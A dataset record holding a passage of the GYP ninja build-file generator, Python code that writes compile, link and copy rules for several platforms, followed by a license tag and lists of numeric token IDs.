\ '$manifests' % { 'python': sys.executable, 'out': out, 'ldcmd': ldcmd, 'resname': resource_name, 'embed': embed_manifest } rule_name_suffix = _GetWinLinkRuleNameSuffix(embed_manifest) use_separate_mspdbsrv = ( int(os.environ.get('GYP_USE_SEPARATE_MSPDBSRV', '0')) != 0) dlldesc = 'LINK%s(DLL) $binary' % rule_name_suffix.upper() dllcmd = ('%s gyp-win-tool link-wrapper $arch %s ' '$ld /nologo $implibflag /DLL /OUT:$binary ' '@$binary.rsp' % (sys.executable, use_separate_mspdbsrv)) dllcmd = FullLinkCommand(dllcmd, '$binary', 'dll') master_ninja.rule('solink' + rule_name_suffix, description=dlldesc, command=dllcmd, rspfile='$binary.rsp', rspfile_content='$libs $in_newline $ldflags', restat=True, pool='link_pool') master_ninja.rule('solink_module' + rule_name_suffix, description=dlldesc, command=dllcmd, rspfile='$binary.rsp', rspfile_content='$libs $in_newline $ldflags', restat=True, pool='link_pool') # Note that ldflags goes at the end so that it has the option of # overriding default settings earlier in the command line. exe_cmd = ('%s gyp-win-tool link-wrapper $arch %s ' '$ld /nologo /OUT:$binary @$binary.rsp' % (sys.executable, use_separate_mspdbsrv)) exe_cmd = FullLinkCommand(exe_cmd, '$binary', 'exe') master_ninja.rule('link' + rule_name_suffix, description='LINK%s $binary' % rule_name_suffix.upper(), command=exe_cmd, rspfile='$binary.rsp', rspfile_content='$in_newline $libs $ldflags', pool='link_pool') def GenerateOutputForConfig(target_list, target_dicts, data, params, config_name): options = params['options'] flavor = gyp.common.GetFlavor(params) generator_flags = params.get('generator_flags', {}) # build_dir: relative path from source root to our output files. # e.g. "out/Debug" build_dir = os.path.normpath( os.path.join(ComputeOutputDir(params), config_name)) toplevel_build = os.path.join(options.toplevel_dir, build_dir) master_ninja_file = OpenOutput(os.path.join(toplevel_build, 'build.ninja')) master_ninja = ninja_syntax.Writer(master_ninja_file, width=120) # Put build-time support tools in out/{config_name}. gyp.common.CopyTool(flavor, toplevel_build) # Grab make settings for CC/CXX. # The rules are # - The priority from low to high is gcc/g++, the 'make_global_settings' in # gyp, the environment variable. # - If there is no 'make_global_settings' for CC.host/CXX.host or # 'CC_host'/'CXX_host' enviroment variable, cc_host/cxx_host should be set # to cc/cxx. if flavor == 'win': ar = 'lib.exe' # cc and cxx must be set to the correct architecture by overriding with one # of cl_x86 or cl_x64 below. cc = 'UNSET' cxx = 'UNSET' ld = 'link.exe' ld_host = '$ld' else: ar = 'ar' cc = 'cc' cxx = 'c++' ld = '$cc' ldxx = '$cxx' ld_host = '$cc_host' ldxx_host = '$cxx_host' ar_host = 'ar' cc_host = None cxx_host = None cc_host_global_setting = None cxx_host_global_setting = None clang_cl = None nm = 'nm' nm_host = 'nm' readelf = 'readelf' readelf_host = 'readelf' build_file, _, _ = gyp.common.ParseQualifiedTarget(target_list[0]) make_global_settings = data[build_file].get('make_global_settings', []) build_to_root = gyp.common.InvertRelativePath(build_dir, options.toplevel_dir) wrappers = {} for key, value in make_global_settings: if key == 'AR': ar = os.path.join(build_to_root, value) if key == 'AR.host': ar_host = os.path.join(build_to_root, value) if key == 'CC': cc = os.path.join(build_to_root, value) if cc.endswith('clang-cl'): clang_cl = cc if key == 'CXX': cxx = os.path.join(build_to_root, value) if key == 'CC.host': cc_host = os.path.join(build_to_root, value) cc_host_global_setting = value if key == 'CXX.host': cxx_host = os.path.join(build_to_root, value) cxx_host_global_setting = value if key == 'LD': ld = os.path.join(build_to_root, value) if key == 'LD.host': ld_host = os.path.join(build_to_root, value) if key == 'NM': nm = os.path.join(build_to_root, value) if key == 'NM.host': nm_host = os.path.join(build_to_root, value) if key == 'READELF': readelf = os.path.join(build_to_root, value) if key == 'READELF.host': readelf_host = os.path.join(build_to_root, value) if key.endswith('_wrapper'): wrappers[key[:-len('_wrapper')]] = os.path.join(build_to_root, value) # Support wrappers from environment variables too. for key, value in os.environ.iteritems(): if key.lower().endswith('_wrapper'): key_prefix = key[:-len('_wrapper')] key_prefix = re.sub(r'\.HOST$', '.host', key_prefix) wrappers[key_prefix] = os.path.join(build_to_root, value) if flavor == 'win': configs = [target_dicts[qualified_target]['configurations'][config_name] for qualified_target in target_list] shared_system_includes = None if not generator_flags.get('ninja_use_custom_environment_files', 0): shared_system_includes = \ gyp.msvs_emulation.ExtractSharedMSVSSystemIncludes( configs, generator_flags) cl_paths = gyp.msvs_emulation.GenerateEnvironmentFiles( toplevel_build, generator_flags, shared_system_includes, OpenOutput) for arch, path in cl_paths.iteritems(): if clang_cl: # If we have selected clang-cl, use that instead. path = clang_cl command = CommandWithWrapper('CC', wrappers, QuoteShellArgument(path, 'win')) if clang_cl: # Use clang-cl to cross-compile for x86 or x86_64. command += (' -m32' if arch == 'x86' else ' -m64') master_ninja.variable('cl_' + arch, command) cc = GetEnvironFallback(['CC_target', 'CC'], cc) master_ninja.variable('cc', CommandWithWrapper('CC', wrappers, cc)) cxx = GetEnvironFallback(['CXX_target', 'CXX'], cxx) master_ninja.variable('cxx', CommandWithWrapper('CXX', wrappers, cxx)) if flavor == 'win': master_ninja.variable('ld', ld) master_ninja.variable('idl', 'midl.exe') master_ninja.variable('ar', ar) master_ninja.variable('rc', 'rc.exe') master_ninja.variable('ml_x86', 'ml.exe') master_ninja.variable('ml_x64', 'ml64.exe') master_ninja.variable('mt', 'mt.exe') else: master_ninja.variable('ld', CommandWithWrapper('LINK', wrappers, ld)) master_ninja.variable('ldxx', CommandWithWrapper('LINK', wrappers, ldxx)) master_ninja.variable('ar', GetEnvironFallback(['AR_target', 'AR'], ar)) if flavor != 'mac': # Mac does not use readelf/nm for .TOC generation, so avoiding polluting # the master ninja with extra unused variables. master_ninja.variable( 'nm', GetEnvironFallback(['NM_target', 'NM'], nm)) master_ninja.variable( 'readelf', GetEnvironFallback(['READELF_target', 'READELF'], readelf)) if generator_supports_multiple_toolsets: if not cc_host: cc_host = cc if not cxx_host: cxx_host = cxx master_ninja.variable('ar_host', GetEnvironFallback(['AR_host'], ar_host)) master_ninja.variable('nm_host', GetEnvironFallback(['NM_host'], nm_host)) master_ninja.variable('readelf_host', GetEnvironFallback(['READELF_host'], readelf_host)) cc_host = GetEnvironFallback(['CC_host'], cc_host) cxx_host = GetEnvironFallback(['CXX_host'], cxx_host) # The environment variable could be used in 'make_global_settings', like # ['CC.host', '$(CC)'] or ['CXX.host', '$(CXX)'], transform them here. if '$(CC)' in cc_host and cc_host_global_setting: cc_host = cc_host_global_setting.replace('$(CC)', cc) if '$(CXX)' in cxx_host and cxx_host_global_setting: cxx_host = cxx_host_global_setting.replace('$(CXX)', cxx) master_ninja.variable('cc_host', CommandWithWrapper('CC.host', wrappers, cc_host)) master_ninja.variable('cxx_host', CommandWithWrapper('CXX.host', wrappers, cxx_host)) if flavor == 'win': master_ninja.variable('ld_host', ld_host) else: master_ninja.variable('ld_host', CommandWithWrapper( 'LINK', wrappers, ld_host)) master_ninja.variable('ldxx_host', CommandWithWrapper( 'LINK', wrappers, ldxx_host)) master_ninja.newline() master_ninja.pool('link_pool', depth=GetDefaultConcurrentLinks()) master_ninja.newline() deps = 'msvc' if flavor == 'win' else 'gcc' if flavor != 'win': master_ninja.rule( 'cc', description='CC $out', command=('$cc -MMD -MF $out.d $defines $includes $cflags $cflags_c ' '$cflags_pch_c -c $in -o $out'), depfile='$out.d', deps=deps) master_ninja.rule( 'cc_s', description='CC $out', command=('$cc $defines $includes $cflags $cflags_c ' '$cflags_pch_c -c $in -o $out')) master_ninja.rule( 'cxx', description='CXX $out', command=('$cxx -MMD -MF $out.d $defines $includes $cflags $cflags_cc ' '$cflags_pch_cc -c $in -o $out'), depfile='$out.d', deps=deps) else: # TODO(scottmg) Separate pdb names is a test to see if it works around # http://crbug.com/142362. It seems there's a race between the creation of # the .pdb by the precompiled header step for .cc and the compilation of # .c files. This should be handled by mspdbsrv, but rarely errors out with # c1xx : fatal error C1033: cannot open program database # By making the rules target separate pdb files this might be avoided. cc_command = ('ninja -t msvc -e $arch ' + '-- ' '$cc /nologo /showIncludes /FC ' '@$out.rsp /c $in /Fo$out /Fd$pdbname_c ') cxx_command = ('ninja -t msvc -e $arch ' + '-- ' '$cxx /nologo /showIncludes /FC ' '@$out.rsp /c $in /Fo$out /Fd$pdbname_cc ') master_ninja.rule( 'cc', description='CC $out', command=cc_command, rspfile='$out.rsp', rspfile_content='$defines $includes $cflags $cflags_c', deps=deps) master_ninja.rule( 'cxx', description='CXX $out', command=cxx_command, rspfile='$out.rsp', rspfile_content='$defines $includes $cflags $cflags_cc', deps=deps) master_ninja.rule( 'idl', description='IDL $in', command=('%s gyp-win-tool midl-wrapper $arch $outdir ' '$tlb $h $dlldata $iid $proxy $in ' '$midl_includes $idlflags' % sys.executable)) master_ninja.rule( 'rc', description='RC $in', # Note: $in must be last otherwise rc.exe complains. command=('%s gyp-win-tool rc-wrapper ' '$arch $rc $defines $resource_includes $rcflags /fo$out $in' % sys.executable)) master_ninja.rule( 'asm', description='ASM $out', command=('%s gyp-win-tool asm-wrapper ' '$arch $asm $defines $includes $asmflags /c /Fo $out $in' % sys.executable)) if flavor != 'mac' and flavor != 'win': master_ninja.rule( 'alink', description='AR $out', command='rm -f $out && $ar rcs $arflags $out $in') master_ninja.rule( 'alink_thin', description='AR $out', command='rm -f $out && $ar rcsT $arflags $out $in') # This allows targets that only need to depend on $lib's API to declare an # order-only dependency on $lib.TOC and avoid relinking such downstream # dependencies when $lib changes only in non-public ways. # The resulting string leaves an uninterpolated %{suffix} which # is used in the final substitution below. mtime_preserving_solink_base = ( 'if [ ! -e $lib -o ! -e $lib.TOC ]; then ' '%(solink)s && %(extract_toc)s > $lib.TOC; else ' '%(solink)s && %(extract_toc)s > $lib.tmp && ' 'if ! cmp -s $lib.tmp $lib.TOC; then mv $lib.tmp $lib.TOC ; ' 'fi; fi' % { 'solink': '$ld -shared $ldflags -o $lib -Wl,-soname=$soname %(suffix)s', 'extract_toc': ('{ $readelf -d $lib | grep SONAME ; ' '$nm -gD -f p $lib | cut -f1-2 -d\' \'; }')}) master_ninja.rule( 'solink', description='SOLINK $lib', restat=True, command=mtime_preserving_solink_base % {'suffix': '@$link_file_list'}, rspfile='$link_file_list', rspfile_content= '-Wl,--whole-archive $in $solibs -Wl,--no-whole-archive $libs', pool='link_pool') master_ninja.rule( 'solink_module', description='SOLINK(module) $lib', restat=True, command=mtime_preserving_solink_base % {'suffix': '@$link_file_list'}, rspfile='$link_file_list', rspfile_content='-Wl,--start-group $in -Wl,--end-group $solibs $libs', pool='link_pool') master_ninja.rule( 'link', description='LINK $out', command=('$ld $ldflags -o $out ' '-Wl,--start-group $in -Wl,--end-group $solibs $libs'), pool='link_pool') elif flavor == 'win': master_ninja.rule( 'alink', description='LIB $out', command=('%s gyp-win-tool link-wrapper $arch False ' '$ar /nologo /ignore:4221 /OUT:$out @$out.rsp' % sys.executable), rspfile='$out.rsp', rspfile_content='$in_newline $libflags') _AddWinLinkRules(master_ninja, embed_manifest=True) _AddWinLinkRules(master_ninja, embed_manifest=False) else: master_ninja.rule( 'objc', description='OBJC $out', command=('$cc -MMD -MF $out.d $defines $includes $cflags $cflags_objc ' '$cflags_pch_objc -c $in -o $out'), depfile='$out.d', deps=deps) master_ninja.rule( 'objcxx', description='OBJCXX $out', command=('$cxx -MMD -MF $out.d $defines $includes $cflags $cflags_objcc ' '$cflags_pch_objcc -c $in -o $out'), depfile='$out.d', deps=deps) master_ninja.rule( 'alink', description='LIBTOOL-STATIC $out, POSTBUILDS', command='rm -f $out && ' './gyp-mac-tool filter-libtool libtool $libtool_flags ' '-static -o $out $in' '$postbuilds') master_ninja.rule( 'lipo', description='LIPO $out, POSTBUILDS', command='rm -f $out && lipo -create $in -output $out$postbuilds') master_ninja.rule( 'solipo', description='SOLIPO $out, POSTBUILDS', command=( 'rm -f $lib $lib.TOC && lipo -create $in -output $lib$postbuilds &&' '%(extract_toc)s > $lib.TOC' % { 'extract_toc': '{ otool -l $lib | grep LC_ID_DYLIB -A 5; ' 'nm -gP $lib | cut -f1-2 -d\' \' | grep -v U$$; true; }'})) # Record the public interface of $lib in $lib.TOC. See the corresponding # comment in the posix section above for details. solink_base = '$ld %(type)s $ldflags -o $lib %(suffix)s' mtime_preserving_solink_base = ( 'if [ ! -e $lib -o ! -e $lib.TOC ] || ' # Always force dependent targets to relink if this library # reexports something. Handling this correctly would require # recursive TOC dumping but this is rare in practice, so punt. 'otool -l $lib | grep -q LC_REEXPORT_DYLIB ; then ' '%(solink)s && %(extract_toc)s > $lib.TOC; ' 'else ' '%(solink)s && %(extract_toc)s > $lib.tmp && ' 'if ! cmp -s $lib.tmp $lib.TOC; then ' 'mv $lib.tmp $lib.TOC ; ' 'fi; ' 'fi' % { 'solink': solink_base, 'extract_toc': '{ otool -l $lib | grep LC_ID_DYLIB -A 5; ' 'nm -gP $lib | cut -f1-2 -d\' \' | grep -v U$$; true; }'}) solink_suffix = '@$link_file_list$postbuilds' master_ninja.rule( 'solink', description='SOLINK $lib, POSTBUILDS', restat=True, command=mtime_preserving_solink_base % {'suffix': solink_suffix, 'type': '-shared'}, rspfile='$link_file_list', rspfile_content='$in $solibs $libs', pool='link_pool') master_ninja.rule( 'solink_notoc', description='SOLINK $lib, POSTBUILDS', restat=True, command=solink_base % {'suffix':solink_suffix, 'type': '-shared'}, rspfile='$link_file_list', rspfile_content='$in $solibs $libs', pool='link_pool') master_ninja.rule( 'solink_module', description='SOLINK(module) $lib, POSTBUILDS', restat=True, command=mtime_preserving_solink_base % {'suffix': solink_suffix, 'type': '-bundle'}, rspfile='$link_file_list', rspfile_content='$in $solibs $libs', pool='link_pool') master_ninja.rule( 'solink_module_notoc', description='SOLINK(module) $lib, POSTBUILDS', restat=True, command=solink_base % {'suffix': solink_suffix, 'type': '-bundle'}, rspfile='$link_file_list', rspfile_content='$in $solibs $libs', pool='link_pool') master_ninja.rule( 'link', description='LINK $out, POSTBUILDS', command=('$ld $ldflags -o $out ' '$in $solibs $libs$postbuilds'), pool='link_pool') master_ninja.rule( 'preprocess_infoplist', description='PREPROCESS INFOPLIST $out', command=('$cc -E -P -Wno-trigraphs -x c $defines $in -o $out && ' 'plutil -convert xml1 $out $out')) master_ninja.rule( 'copy_infoplist', description='COPY INFOPLIST $in', command='$env ./gyp-mac-tool copy-info-plist $in $out $binary $keys') master_ninja.rule( 'merge_infoplist', description='MERGE INFOPLISTS $in', command='$env ./gyp-mac-tool merge-info-plist $out $in') master_ninja.rule( 'compile_xcassets', description='COMPILE XCASSETS $in', command='$env ./gyp-mac-tool compile-xcassets $keys $in') master_ninja.rule( 'mac_tool', description='MACTOOL $mactool_cmd $in', command='$env ./gyp-mac-tool $mactool_cmd $in $out $binary') master_ninja.rule( 'package_framework', description='PACKAGE FRAMEWORK $out, POSTBUILDS', command='./gyp-mac-tool package-framework $out $version$postbuilds ' '&& touch $out') if flavor == 'win': master_ninja.rule( 'stamp', description='STAMP $out', command='%s gyp-win-tool stamp $out' % sys.executable) master_ninja.rule( 'copy', description='COPY $in $out', command='%s gyp-win-tool recursive-mirror $in $out' % sys.executable) else: master_ninja.rule( 'stamp', description='STAMP $out', command='${postbuilds}touch $out') master_ninja.rule( 'copy', description='COPY $in $out', command='rm -rf $out && cp -af $in $out') master_ninja.newline() all_targets = set() for build_file in params['build_files']: for target in gyp.common.AllTargets(target_list, target_dicts, os.path.normpath(build_file)): all_targets.add(target) all_outputs = set() # target_outputs is a map from qualified target name to a Target object. target_outputs = {} # target_short_names is a map from target short name to a list of Target # objects. target_short_names = {} # short name of targets that were skipped because they didn't contain anything # interesting. # NOTE: there may be overlap between this an non_empty_target_names. empty_target_names = set() # Set of non-empty short target names. # NOTE: there may be overlap between this an empty_target_names. non_empty_target_names = set() for qualified_target in target_list: # qualified_target is like: third_party/icu/icu.gyp:icui18n#target build_file, name, toolset = \ gyp.common.ParseQualifiedTarget(qualified_target) this_make_global_settings = data[build_file].get('make_global_settings', []) assert make_global_settings == this_make_global_settings, ( "make_global_settings needs to be the same for all targets. %s vs. %s" % (this_make_global_settings, make_global_settings)) spec = target_dicts[qualified_target] if flavor == 'mac': gyp.xcode_emulation.MergeGlobalXcodeSettingsToSpec(data[build_file], spec) # If build_file is a symlink, we must not follow it because there's a chance # it could point to a path above toplevel_dir, and we cannot correctly deal # with that case at the moment. build_file = gyp.common.RelativePath(build_file, options.toplevel_dir, False) qualified_target_for_hash = gyp.common.QualifiedTarget(build_file, name, toolset) hash_for_rules = hashlib.md5(qualified_target_for_hash).hexdigest() base_path = os.path.dirname(build_file) obj = 'obj' if toolset != 'target': obj += '.' + toolset output_file = os.path.join(obj, base_path, name + '.ninja') ninja_output = StringIO() writer = NinjaWriter(hash_for_rules, target_outputs, base_path, build_dir, ninja_output, toplevel_build, output_file, flavor, toplevel_dir=options.toplevel_dir) target = writer.WriteSpec(spec, config_name, generator_flags) if ninja_output.tell() > 0: # Only create files for ninja files that actually have contents. with OpenOutput(os.path.join(toplevel_build, output_file)) as ninja_file: ninja_file.write(ninja_output.getvalue()) ninja_output.close() master_ninja.subninja(output_file) if target: if name != target.FinalOutput() and spec['toolset'] == 'target': target_short_names.setdefault(name, []).append(target) target_outputs[qualified_target] = target if qualified_target in all_targets: all_outputs.add(target.FinalOutput()) non_empty_target_names.add(name) else: empty_target_names.add(name) if target_short_names: # Write a short name to build this target. This benefits both the # "build chrome" case as well as the gyp tests, which expect to be # able to run actions and build libraries by their short name. master_ninja.newline() master_ninja.comment('Short names for targets.') for short_name in target_short_names: master_ninja.build(short_name, 'phony', [x.FinalOutput() for x in target_short_names[short_name]]) # Write phony targets for any empty targets that weren't written yet. As # short names are not necessarily unique only do this for short names that # haven't already been output for another target. empty_target_names = empty_target_names - non_empty_target_names if empty_target_names: master_ninja.newline() master_ninja.comment('Empty targets (output for completeness).') for name in sorted(empty_target_names): master_ninja.build(name, 'phony') if all_outputs: master_ninja.newline() master_ninja.build('all', 'phony', list(all_outputs)) master_ninja.default(generator_flags.get('default_target', 'all')) master_ninja_file.close() def PerformBuild(data, configurations, params): options = params['options'] for config in configurations: builddir = os.path.join(options.toplevel_dir, 'out', config) arguments = ['ninja', '-C', builddir] print 'Building [%s]: %s' % (config, arguments) subprocess.check_call(arguments) def CallGenerateOutputForConfig(arglist): # Ignore the interrupt signal so that the parent process catches it and # kills all multiprocessing children. signal.signal(signal.SIGINT, signal.SIG_IGN) (target_list, target_dicts, data, params, config_name) = arglist GenerateOutputForConfig(target_list, target_dicts, data, params, config_name) def GenerateOutput(target_list, target_dicts, data, params): # Update target_dicts for iOS device builds. target_dicts = gyp.xcode_emulation.CloneConfigurationForDeviceAndEmulator( target_dicts) user_config = params.get('generator_flags', {}).get('config', None) if gyp.common.GetFlavor(params) == 'win': target_list, target_dicts = MSVSUtil.ShardTargets(target_list, target_dicts) target_list, target_dicts = MSVSUtil.InsertLargePdbShims( target_list, target_dicts, generator_default_variables) if user_config: GenerateOutputForConfig(target_list, target_dicts, data, params, user_config) else: config_names = target_dicts[target_list[0]]['configurations'].keys() if params['parallel']: try: pool = multiprocessing.Pool(len(config_names)) arglists = [] for config_name in config_names: arglists.append( (target_list, target_dicts, data, params, config_name)) pool.map(CallGenerateOutputForConfig, arglists) except KeyboardInterrupt, e: pool.terminate() raise e else: for config_name in config_names: GenerateOutputForConfig(target_list, target_dicts, data, params, config_name)
mit
[ 3, 1898, 334, 67, 9, 6171, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 646, 5055, 199, 646, 1331, 199, 646, 8337, 199, 646, 2022, 199, 646, 12866, 199, 646, 747, 14, 515, 199, 646, 295, 199, 646, 4673, 199, 646, 3873, 199, 646, 984, 199, 646, 4902, 199, 646, 4902, 14, 2330, 199, 504, 4902, 14, 2330, 492, 23617, 199, 646, 4902, 14, 8338, 63, 20526, 199, 646, 4902, 14, 3053, 54, 6195, 2270, 465, 11694, 6195, 2270, 199, 646, 4902, 14, 8701, 63, 20526, 199, 504, 15073, 492, 5228, 199, 199, 504, 4902, 14, 2330, 492, 2372, 23027, 21860, 199, 646, 4902, 14, 8675, 63, 7093, 465, 14822, 63, 7093, 199, 199, 4679, 63, 885, 63, 3669, 275, 469, 523, 283, 21623, 63, 6351, 356, 3260, 523, 283, 21623, 63, 12273, 356, 3260, 523, 283, 10449, 63, 5617, 63, 6351, 356, 283, 773, 297, 523, 283, 10449, 63, 5617, 63, 12273, 356, 1987, 65, 297, 523, 283, 13772, 63, 5617, 63, 6351, 356, 283, 773, 297, 819, 327, 14133, 14292, 314, 2569, 2860, 370, 506, 6544, 461, 701, 314, 1900, 523, 327, 2656, 370, 314, 5827, 9918, 14, 221, 653, 4135, 20491, 1192, 3792, 370, 506, 523, 327, 6040, 737, 4902, 900, 14, 221, 4005, 7512, 642, 12, 13318, 3402, 4539, 523, 327, 2860, 6617, 543, 2672, 1, 436, 2672, 92, 334, 6777, 5386, 543, 282, 2672, 880, 4902, 19428, 652, 523, 327, 1077, 506, 10184, 1106, 1183, 12, 1325, 365, 4257, 376, 3866, 523, 327, 14822, 15, 5641, 1750, 9, 626, 787, 3032, 370, 4902, 2348, 1325, 11507, 523, 327, 2544, 3575, 734, 1901, 314, 1347, 1275, 8675, 1584, 27, 1937, 523, 327, 18890, 12246, 14, 523, 327, 2672, 1, 365, 1202, 367, 2860, 626, 2954, 282, 931, 436, 626, 883, 1454, 7468, 737, 523, 327, 314, 1343, 402, 282, 1059, 12, 1830, 2672, 92, 365, 1202, 367, 2860, 626, 883, 7468, 523, 327, 26523, 315, 282, 1059, 14, 523, 283, 23227, 63, 3022, 356, 4505, 1, 23227, 63, 3022, 297, 523, 283, 13772, 63, 23227, 63, 3022, 356, 4505, 1, 14853, 63, 3022, 15, 2268, 297, 523, 283, 14853, 63, 3022, 356, 4505, 1, 14853, 63, 3022, 297, 523, 283, 22212, 63, 2339, 356, 4505, 92, 22212, 63, 2339, 297, 819, 327, 12568, 2860, 626, 1443, 506, 1202, 701, 4902, 283, 2200, 7, 4545, 14, 523, 327, 2136, 3550, 10269, 367, 3520, 2860, 641, 314, 23158, 1380, 6661, 282, 523, 327, 2332, 14, 523, 283, 13578, 63, 7321, 63, 5441, 356, 20044, 1231, 7293, 523, 283, 13578, 63, 7321, 63, 3022, 2339, 356, 20044, 3475, 7293, 523, 283, 13578, 63, 7321, 63, 3243, 356, 20044, 1365, 7293, 523, 283, 13578, 63, 7321, 63, 2472, 356, 20044, 832, 7293, 523, 283, 13578, 63, 7321, 63, 2339, 356, 20044, 354, 7293, 199, 93, 199, 199, 3, 510, 416, 1411, 83, 4287, 14, 199, 4679, 63, 8460, 63, 2865, 63, 4758, 63, 1612, 275, 942, 199, 4679, 63, 8460, 63, 515, 63, 7786, 275, 942, 199, 4679, 63, 2911, 63, 4553, 63, 509, 63, 4423, 275, 942, 199, 4679, 63, 14964, 63, 3771, 275, 488, 199, 199, 4679, 63, 9823, 63, 6048, 63, 30116, 275, 4902, 14, 2330, 14, 14072, 12626, 17935, 342, 199, 199, 318, 19828, 4793, 8, 1273, 12, 2403, 304, 523, 340, 1680, 14, 2460, 8, 1861, 304, 272, 372, 1680, 59, 552, 8, 1861, 15405, 523, 372, 1680, 421, 199, 318, 29335, 8529, 5201, 8, 1273, 12, 8541, 304, 523, 408, 12838, 282, 1059, 4066, 626, 652, 911, 506, 11922, 465, 282, 2849, 1423, 523, 701, 314, 5218, 1041, 523, 327, 3898, 728, 2419, 19595, 370, 3874, 314, 4875, 5218, 4110, 12, 2951, 523, 327, 22671, 2863, 9949, 7869, 436, 6313, 7003, 587, 14, 523, 340, 295, 14, 1431, 8, 82, 23811, 65, 13, 6353, 13, 58, 16, 13, 25, 10683, 14, 1103, 15, 20253, 4268, 1680, 304, 272, 372, 1680, 221, 327, 3091, 18593, 5784, 14, 523, 340, 8541, 508, 283, 2676, 356, 272, 372, 4902, 14, 8338, 63, 20526, 14, 12838, 1858, 17796, 1173, 8, 1273, 9, 523, 372, 21673, 435, 1680, 14, 1814, 27769, 21673, 435, 283, 3212, 30385, 435, 3546, 531, 221, 435, 21673, 421, 199, 318, 13930, 8, 68, 12, 8541, 304, 523, 408, 32488, 282, 22335, 5627, 436, 2529, 282, 446, 36, 2725, 626, 1159, 14822, 13, 436, 523, 5218, 13, 13572, 1041, 523, 340, 8541, 508, 283, 2676, 356, 272, 327, 824, 14, 5803, 19058, 8785, 327, 4110, 543, 275, 315, 876, 496, 823, 269, 10269, 367, 272, 327, 2005, 4499, 14, 18365, 279, 13, 2143, 370, 1736, 6818, 626, 14, 272, 366, 275, 366, 14, 1814, 7863, 297, 6468, 5, 1644, 79, 7, 450, 6206, 7863, 1333, 523, 372, 29335, 8529, 5201, 8, 8675, 63, 7093, 14, 3765, 3654, 36, 7, 435, 366, 395, 8541, 9, 421, 199, 318, 2654, 8438, 8, 1199, 12, 3819, 304, 523, 408, 14995, 376, 3819, 1059, 370, 376, 1072, 931, 1041, 523, 1072, 12, 3329, 275, 747, 14, 515, 14, 7973, 8, 1199, 9, 523, 372, 1543, 83, 4111, 83, 5, 83, 7, 450, 334, 1199, 12, 3819, 12, 3329, 9, 421, 199, 533, 10256, 8, 785, 304, 523, 408, 4277, 8469, 314, 3792, 1202, 4453, 282, 2849, 4902, 1347, 14, 819, 1448, 716, 3163, 12, 10015, 282, 2849, 1347, 437, 365, 282, 6779, 402, 7124, 26, 819, 413, 9, 5445, 15, 4423, 15, 16847, 221, 12821, 1350, 15, 4435, 15, 6839, 14, 523, 499, 9, 6555, 83, 4519, 12821, 1275, 79, 1584, 523, 650, 9, 2142, 8295, 12821, 282, 3366, 334, 4342, 15, 5904, 9, 523, 841, 9, 8844, 4483, 32716, 314, 3432, 315, 282, 4497, 8844, 819, 334, 9874, 402, 3520, 7124, 883, 506, 2716, 4959, 819, 11606, 282, 1900, 7794, 1126, 16657, 12, 282, 11410, 1347, 699, 4293, 2951, 523, 11687, 641, 314, 2061, 1072, 402, 642, 6779, 402, 7124, 14, 819, 11017, 2005, 11410, 3718, 15026, 1929, 370, 12276, 6272, 314, 5689, 14, 523, 2104, 2893, 12, 1380, 25833, 699, 652, 4839, 370, 664 ]
[ 1898, 334, 67, 9, 6171, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 646, 5055, 199, 646, 1331, 199, 646, 8337, 199, 646, 2022, 199, 646, 12866, 199, 646, 747, 14, 515, 199, 646, 295, 199, 646, 4673, 199, 646, 3873, 199, 646, 984, 199, 646, 4902, 199, 646, 4902, 14, 2330, 199, 504, 4902, 14, 2330, 492, 23617, 199, 646, 4902, 14, 8338, 63, 20526, 199, 646, 4902, 14, 3053, 54, 6195, 2270, 465, 11694, 6195, 2270, 199, 646, 4902, 14, 8701, 63, 20526, 199, 504, 15073, 492, 5228, 199, 199, 504, 4902, 14, 2330, 492, 2372, 23027, 21860, 199, 646, 4902, 14, 8675, 63, 7093, 465, 14822, 63, 7093, 199, 199, 4679, 63, 885, 63, 3669, 275, 469, 523, 283, 21623, 63, 6351, 356, 3260, 523, 283, 21623, 63, 12273, 356, 3260, 523, 283, 10449, 63, 5617, 63, 6351, 356, 283, 773, 297, 523, 283, 10449, 63, 5617, 63, 12273, 356, 1987, 65, 297, 523, 283, 13772, 63, 5617, 63, 6351, 356, 283, 773, 297, 819, 327, 14133, 14292, 314, 2569, 2860, 370, 506, 6544, 461, 701, 314, 1900, 523, 327, 2656, 370, 314, 5827, 9918, 14, 221, 653, 4135, 20491, 1192, 3792, 370, 506, 523, 327, 6040, 737, 4902, 900, 14, 221, 4005, 7512, 642, 12, 13318, 3402, 4539, 523, 327, 2860, 6617, 543, 2672, 1, 436, 2672, 92, 334, 6777, 5386, 543, 282, 2672, 880, 4902, 19428, 652, 523, 327, 1077, 506, 10184, 1106, 1183, 12, 1325, 365, 4257, 376, 3866, 523, 327, 14822, 15, 5641, 1750, 9, 626, 787, 3032, 370, 4902, 2348, 1325, 11507, 523, 327, 2544, 3575, 734, 1901, 314, 1347, 1275, 8675, 1584, 27, 1937, 523, 327, 18890, 12246, 14, 523, 327, 2672, 1, 365, 1202, 367, 2860, 626, 2954, 282, 931, 436, 626, 883, 1454, 7468, 737, 523, 327, 314, 1343, 402, 282, 1059, 12, 1830, 2672, 92, 365, 1202, 367, 2860, 626, 883, 7468, 523, 327, 26523, 315, 282, 1059, 14, 523, 283, 23227, 63, 3022, 356, 4505, 1, 23227, 63, 3022, 297, 523, 283, 13772, 63, 23227, 63, 3022, 356, 4505, 1, 14853, 63, 3022, 15, 2268, 297, 523, 283, 14853, 63, 3022, 356, 4505, 1, 14853, 63, 3022, 297, 523, 283, 22212, 63, 2339, 356, 4505, 92, 22212, 63, 2339, 297, 819, 327, 12568, 2860, 626, 1443, 506, 1202, 701, 4902, 283, 2200, 7, 4545, 14, 523, 327, 2136, 3550, 10269, 367, 3520, 2860, 641, 314, 23158, 1380, 6661, 282, 523, 327, 2332, 14, 523, 283, 13578, 63, 7321, 63, 5441, 356, 20044, 1231, 7293, 523, 283, 13578, 63, 7321, 63, 3022, 2339, 356, 20044, 3475, 7293, 523, 283, 13578, 63, 7321, 63, 3243, 356, 20044, 1365, 7293, 523, 283, 13578, 63, 7321, 63, 2472, 356, 20044, 832, 7293, 523, 283, 13578, 63, 7321, 63, 2339, 356, 20044, 354, 7293, 199, 93, 199, 199, 3, 510, 416, 1411, 83, 4287, 14, 199, 